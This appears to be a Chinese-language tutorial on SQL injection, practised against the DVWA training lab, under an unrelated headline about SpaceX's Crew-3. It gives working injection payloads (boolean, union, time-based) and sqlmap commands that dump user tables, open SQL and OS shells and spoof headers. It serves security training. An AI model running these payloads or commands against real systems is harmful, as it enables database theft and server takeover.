NASA: 天氣原因導致 SpaceX 的 Crew-3 機組推遲至 11 月 3 日發射
一、SQL注入產生的原因和危害
1、原因
SQL注入攻擊指的是通過構建特殊的輸入作為引數傳入Web應用程式。而這些輸入大都是SQL語法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。
2、危害
1、拖庫導致使用者資料洩漏;
2、危害web等應用的安全;
3、失去作業系統的控制權;
4、使用者資訊被非法販賣;
5、危害企業及國家安全。
二、資料庫簡單介紹
資料庫有五類語言:分別是DQL/DML/DDL/TCL/DCL
2.1、DQL:
資料查詢語言(凡是帶有select關鍵字的都是查詢語句)
select...
2.2、DML:
資料操作語言(凡是對錶當中的資料進行增刪改的都是DML)
insert delete update
insert 增
delete刪
update 改
這個主要是操作表中的資料data.
2.3、DDL
資料定義語言
凡是帶有create、drop、alter的都是DDL。
DDL主要操作的是表的結構。不是表中的資料。
create:新建,等同於增
drop:刪除
alter:修改
這個增刪改和DML不同,這個主要是對錶結構進行操作。
2.4、TCL
事務控制語言
包括:事務提交(commit) 事務回滾(rollback)
2.5、DCL
資料控制語言
例如:授權(grant) 撤銷授權(revoke)等
三、資料庫相關操作
環境:OWASP
表1:dvwa.users
表2:wordpress.wp_users
表3:mysql.user
1、基礎操作
1.1檢視當前使用的資料庫
mysql> select database();
+------------+
| database()
+------------+
| dvwa
+------------+
1.2、檢視當前庫中的表
mysql> show tables;
+----------------+
| Tables_in_dvwa
+----------------+
| guestbook
| users
+----------------+
1.3、查看錶的結構
點選檢視程式碼
mysql> show create table users\G
*************************** 1. row ***************************
Table: users
Create Table: CREATE TABLE `users` (
`user_id` int(6) NOT NULL DEFAULT '0',
`first_name` varchar(15) DEFAULT NULL,
`last_name` varchar(15) DEFAULT NULL,
`user` varchar(15) DEFAULT NULL,
`password` varchar(32) DEFAULT NULL,
`avatar` varchar(70) DEFAULT NULL,
`last_login` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TI
MESTAMP,
`failed_login` int(3) DEFAULT NULL,
PRIMARY KEY (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin
1.4、查看錶內容
mysql> select user_id,first_name,last_name from users;
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
| 2 | Gordon | Brown
| 3 | Hack | Me
| 4 | Pablo | Picasso
| 5 | Bob | Smith
+---------+------------+-----------+
2、條件查詢
注意:
指定條件查詢,值需要加引號,如果不加引號表示欄位,表中如果沒有相同的欄位那麼就會出錯,數字不能作為欄位,預設當做值處理。
2.1、
mysql> select user_id,first_name,last_name from users where user_id=1;
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
+---------+------------+-----------+
2.2、
mysql> select user_id,first_name,last_name from users where first_name=admin;
ERROR 1054 (42S22): Unknown column 'admin' in 'where clause'
mysql> select user_id,first_name,last_name from users where first_name="admin";
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
+---------+------------+-----------+
2.3、
or一真全真 and一假全假
mysql> select user_id,first_name,last_name from users where first_name="" or 1=1; 獲得當前表中的指定欄位的所有內容
+---------+------------+-----------+
| user_id | first_name | last_name
+---------+------------+-----------+
| 1 | admin | admin
| 2 | Gordon | Brown
| 3 | Hack | Me
| 4 | Pablo | Picasso
| 5 | Bob | Smith
+---------+------------+-----------+
3、聯合查詢
注意:
3.1、union聯合查詢時,兩張表中查詢的欄位需要一樣
3.2、可以使用數字充當欄位,因為數字不會報錯,在不知道表的欄位的情況下哦通過數字當欄位一個一個去猜來判斷欄位數。
mysql> select * from users where user_id="2" union select 1,2,3,4,5,6, from guestbook\G
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from guestbook' at line 1
mysql> select * from users where user_id="2" union select 1,2,3,4,5,6,7 from guestbook\G
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select * from users where user_id="2" union select 1,2,3,4,5,6,7,8 from guestbook\G
*************************** 1. row ***************************
user_id: 2
first_name: Gordon
last_name: Brown
user: gordonb
password: e99a18c428cb38d5f260853678922e03
avatar: /hackable/users/gordonb.jpg
last_login: 2021-10-28 18:57:04
failed_login: 0
*************************** 2. row ***************************
user_id: 1
first_name: 2
last_name: 3
user: 4
password: 5
avatar: 6
last_login: 7
failed_login: 8
3.3、limit 可以限制查詢的數量,limit(開始位置,查詢長短)
mysql> select * from users where user_id="2" union select name,comment,3,4,5,6,7,8 from guestbook limit 3 \G
*************************** 1. row ***************************
user_id: 2
first_name: Gordon
last_name: Brown
user: gordonb
password: e99a18c428cb38d5f260853678922e03
avatar: /hackable/users/gordonb.jpg
last_login: 2021-10-28 18:57:04
failed_login: 0
*************************** 2. row ***************************
user_id: test
first_name: This is a test comment.
last_name: 3
user: 4
password: 5
avatar: 6
last_login: 7
failed_login: 8
3.4、如果要查詢自己想要獲取的資訊,可以把不要的表構造一個輸出為FALSE的語句,這樣不要的表的資料就查詢不到,從而只獲取自己想要的資料。
mysql> select * from users where user_id="x" union select name,comment,3,4,5,6,7,8 from guestbook limit 3 \G
*************************** 1. row ***************************
user_id: test
first_name: This is a test comment.
last_name: 3
user: 4
password: 5
avatar: 6
last_login: 7
failed_login: 8
4、information_schema庫(資料庫字典)
4.1、tables表可以檢視資料庫名和表名
table_schema欄位 庫名
table_name欄位 表名
distinct 去重
mysql> select distinct table_schema from information_schema.tables limit 3\G
*************************** 1. row ***************************
table_schema: information_schema #庫名
*************************** 2. row ***************************
table_schema: 5isns
*************************** 3. row ***************************
table_schema: 74cms
group by table_schema 按照庫名分組
group_concat(table_name)分組後將表名連線
mysql> select table_schema,group_concat(table_name) from information_schema.tables where table_schema='dvwa' group by table_schema limit 3\G
*************************** 1. row ***************************
table_schema: dvwa
group_concat(table_name): guestbook,users #dvwa庫中一共有兩張表
4.2、columns表 查庫名錶名欄位名
table_schema 庫民
table_name 表名
column 欄位名
mysql> select column_name from information_schema.columns where table_schema="dvwa" and table_name="users"; #檢視DVWA庫users表的列
+--------------+
| column_name
+--------------+
| user_id
| first_name
| last_name
| user
| password
| avatar
| last_login
| failed_login
+--------------+
四、SQL注入流程
1、判斷是否有SQL注入漏洞
2、判斷作業系統、資料庫、和web應用型別
3、獲取資料庫資訊包括管理員資訊及拖庫
4、加密資訊破解,sqlmap可以自動破解
5、提升許可權,獲得sql-shell、os-shell、登陸應用後臺
五、手動注入
5.1、基於錯誤的注入
錯誤注入的思路是通過構造特殊的sql語句,根據得到的錯誤資訊,確認sql注入點;通過輸入單引號,觸發資料庫異常,通過異常日誌診斷資料庫型別。
作用:確認是否為sql注入點和判斷資料庫型別。
例如:
頁面報錯資訊
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
通過頁面反饋的報錯資訊發現這是MySQL資料庫。
5.2、基於布林的注入
布林注入的思路是閉合SQL語句,構造or和and語句註釋多餘的程式碼
作用:可以獲取當前表中返回欄位的所有值。
原始語句:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
SQL注入的語句解析:
SELECT first_name, last_name FROM users WHERE user_id = ' ' or 0=0 # ';
第一個引號 ' 用於閉合前面的條件
or 0=0 表示為真的條件
"#" 註釋後面所有的語句
5.3、基於union的注入
作用:通過聯合前面的select查詢語句,合併查詢獲取更多欄位或者別的表的資訊
concat()連線欄位的作用
5.4、基於時間的盲注
有些資料庫對錯誤資訊做了安全配置,使得無法通過以上方式探測到注入點,此時,通過設定sleep語句來探測注入點
沒有頁面返回的報錯資訊
1' and sleep(5) # 輸入一個條件為真的條件然後設定休眠時間,如果存在漏洞頁面會重新整理5秒再返回。
六、Sqlmap自動化注入
SQL注入比較好用的工具,首推開源工具SQLmap。SQLmap是一個國內外著名的安全穩定性測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取資料庫伺服器的許可權。它具有功能強大的檢測引擎,針對各種不同型別資料庫的安全穩定性測試的功能選項,包括獲取資料庫中儲存的資料,訪問作業系統檔案甚至可以通過外帶資料連線的方式執行作業系統命令。
SQLmap支援MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase和SAP MaxDB等資料庫的各種安全漏洞檢測
6.1、sqlmap用法
/root/.local/share/sqlmap/output/ 是sqlmap預設儲存檔案的位置
/usr/share/sqlmap/txt/wordlist.zip 是Sqlmap預設呼叫的字典檔案
--dbs 獲得所有資料庫 -D 列出指定資料庫 --tables獲得所有表 -T 指定表名 --columns 獲取所有列 -C指定列名 --dump獲取當前表的所有資料 --count 獲取有幾行資料 -C 讀取資料(例如-C “user,password”) --dump 匯出資料
sqlmap -u 目標url
-r REQUESTFILE(requestFile)從一個檔案中載入的HTTP請求
-v 顯示詳細資訊 預設為1
0、只顯示python錯誤以及嚴重的資訊。
1、同時顯示基本資訊和警告資訊
2、同時顯示debug資訊
3、同時顯示注入的payload
4、同時顯示http請求
5、同時顯示http響應頭
6、同時顯示Http響應頁面
sqlmap --help|grep proxy檢視命令的用法
--proxy= http:// 指定代理
--batch 自動化測試,幫助設定一些預設引數
--dbs 獲取所有資料庫
--users 獲取所有使用者
--dbms=mysql指定資料庫
--current-user返回當前的使用者
--data=“以post提交的引數,多個引數用&連結”
–delay 可以設定兩個http請求間的延遲
–timeout 可以設定一個http請求超過對久判定為超時,預設是30秒
–p 指定你要測試的引數
--skip-waf 跳過WAF/IPS/IDS保護的啟發式檢測。
--crawl-exclude=.. 除了哪些頁面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"
--dump-format=DU.. 轉儲資料的格式 ,有(CSV (預設), HTML,SQLITE)三種。
6.2、如果存在sql注入,獲取資料過程
獲取資料庫
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --dbs
獲取當前資料庫
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --current-db
獲取資料庫中的表
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa --tables
獲取資料庫中表的列
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T users --columns
獲取表中的資料
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T
users -C “username ,password” --dump
顯示3條資料
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T users -C "user ,password" --dump --start=1 --stop=3
--sql-shell 進入sql的互動模式(q退出)
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --sql-shell
--os-shell 獲取作業系統的許可權(需要對一些目錄有寫許可權才可以獲取)
--sql-query=“select * from users”查詢資料庫
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --sql-query=“select * from users”
6.3、設定http資料包的相關引數
--level共有五個等級,預設為1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根據相應的格式新增自己 的payload。
level>=2的時候就會測試HTTP Cookie。
level>=3的時候就會測試HTTP User-Agent/Referer頭。
level=5 的時候會測試HTTP Host。
--risk 探測風險等級,共有3級,預設為1
--risk 1 (預設):測試大部分測試語句
--risk 2 增加基於時間的測試語句
--risk 3 增加OR語句的SQL注入測試
--data=' '
data後面的資料是以POST方式提交,sqlmap會像檢測GET引數一樣檢測POST提交過去的引數
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --data=“username=111111&password=111111”
--cookie=' '
當web需要登入的時候,可以先註冊賬號,然後獲取cookie引數,
注意:url要 完整,sessionid後面是=,多個條件用;隔開
--user-agent=' '
可以偽造user-agent值
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --level=3 --user-agent=“aaaaaa” --dbs
--random-agent
會從sqlmap/txt/user-agents.txt 中隨機產生user-agent頭
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --level=3 --random-agent --dbs
--referer-' '
sqlmap可以在請求中偽造http中的referer
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --referer=“http://www.baidu.com”
–delay
可以設定兩個http請求間的延遲,設定為1的時候是1s,預設是沒有延遲的
–delay=10 說明一分鐘請求6次
–timeout
設定http請求超過多少秒為超時,預設30秒
測試指定的引數*******(面試會問)
–prefix
注入payload字串字首
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --prefix=" ')) "
字尾
sqlmap -u "http://...../vulnerabilities/sqli/?id=6&Submit=Submit#" --suffix=" ')) – "